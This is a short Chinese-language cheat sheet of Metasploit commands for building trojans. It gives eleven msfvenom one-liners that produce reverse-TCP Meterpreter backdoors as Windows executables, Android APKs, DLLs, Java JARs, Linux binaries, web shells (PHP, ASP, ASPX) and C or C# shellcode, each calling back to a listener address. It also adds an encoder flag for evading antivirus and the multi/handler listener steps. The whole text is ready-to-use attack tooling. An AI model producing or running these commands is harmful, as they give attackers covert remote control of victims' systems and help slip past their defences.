metasploit 生成木马常用命令
生成反弹木马:
1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe > abc.exe //exe文件
2. msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > apk.apk //安卓
3. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -a x86 -f dll > shell.dll // DLL后门
4. msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 W > text.jar //Java后门
5. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 R >> /root/Desktop/test //linux 后门 需要把test加权限 chmod +x ./test
6. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.py //python
7. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.php //PHP
8. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f asp > shell.asp //asp
9. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f aspx > shell.aspx //aspx
10. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f c > shellcode.c //生成C语言shellcode
11. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f csharp > shellcode.txt //生成C#语言shellcode
如果要使用编码免杀加上参数 -e x86/shikata_ga_nai
监听利用模块:
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit